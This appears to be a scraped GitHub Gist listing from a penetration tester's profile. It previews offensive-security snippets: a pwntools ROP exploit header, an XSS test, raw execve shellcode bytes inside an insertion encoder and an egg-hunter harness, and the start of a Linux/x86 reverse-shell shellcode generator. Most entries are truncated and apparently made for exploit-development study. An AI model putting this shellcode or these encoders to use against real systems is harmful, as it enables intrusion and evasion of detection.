Aditya Chaudhary AdityaChaudhary

Security Engineer | Penetration Tester | Developer | ML Engineer

AdityaChaudhary / teleporter_exploit.sh

Created July 26, 2020 01:48

Teleporter Linux x64 binary buffer overflow ROP chain exploit

	#!/usr/bin/python3

	from pwn import *
	import time, sys

	#Setup the binary
	elf = context.binary = ELF('./teleporter')

	#Enable logging
	#context.log_level = 'debug'

AdityaChaudhary / gdb hook-stop

Created July 2, 2019 05:12 — forked from KrE80r/gdb hook-stop

	32bit
	set disassembly-flavor intel
	define hook-stop
	info registers
	x/24wx $esp
	x/5i $eip
	end

AdityaChaudhary / xss.js

Last active April 5, 2019 07:09


	alert(1);

AdityaChaudhary / linux_x86_exec_dump

Created February 7, 2019 10:08

MSFvenom linux/x86/exec Libemu sctool dump

	graph file linux_x86_exec.dot
	verbose = 3
	[emu 0x0x9e08090 [31;1mdebug[0m ] cpu state eip=0x00417000
	[emu 0x0x9e08090 [31;1mdebug[0m ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
	[emu 0x0x9e08090 [31;1mdebug[0m ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
	[emu 0x0x9e08090 [31;1mdebug[0m ] Flags:
	[emu 0x0x9e08090 [31;1mdebug[0m ] cpu state eip=0x00417000
	[emu 0x0x9e08090 [31;1mdebug[0m ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
	[emu 0x0x9e08090 [31;1mdebug[0m ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
	[emu 0x0x9e08090 [31;1mdebug[0m ] Flags:

AdityaChaudhary / decoder_execve_stack.asm

Last active February 5, 2019 09:02

Assembly Decoder for random insertion encoded shellcodes

	; Decoder Execve Stack Shellcode
	; Author: Aditya Chaudhary
	; Date: 5th Feb 2019

	global _start

	section .text

	_start:

AdityaChaudhary / Insertion-Encoder.py

Last active February 5, 2019 09:00

Python script to Encode the assembly shellcode

	#!/usr/bin/python
	# Python Random Insertion Encoder
	# Author: Aditya Chaudhary
	# Date: 5th Feb 2019


	import random

	shellcode = ("\x31\xc0\x50\x89\xe2\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

AdityaChaudhary / execve_stack.asm

Last active February 5, 2019 05:06

Spawn shell using execve-stack

AdityaChaudhary / shellcode_egg_hunter.c

Created January 20, 2019 15:29

C program to test the Egg Hunter shellcode

	#include<stdio.h>
	#include<string.h>


	#define EGG "\x90\x50\x90\x50"

	unsigned char egghunter[] = \
	"\x31\xc0\x89\xc7\xbf"
	EGG
	"\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2";

AdityaChaudhary / egg_hunter.asm

Last active October 27, 2022 05:22

Linux/x86 Egg Hunter

AdityaChaudhary / shellcode_rev_gen.py

Last active January 7, 2019 19:39

Linux/x86 Reverse Shellcode Generator

	# Python Reverse Shellcode Generator
	# Paste the reverse shell code and use command line args to provide port number
	# python shellcode_rev_gen.py 127.1.1.1 7777

	#!/bin/python

	import sys
	import struct
	if (len(sys.argv) < 3):
	print "[#] Error: Please provide port number"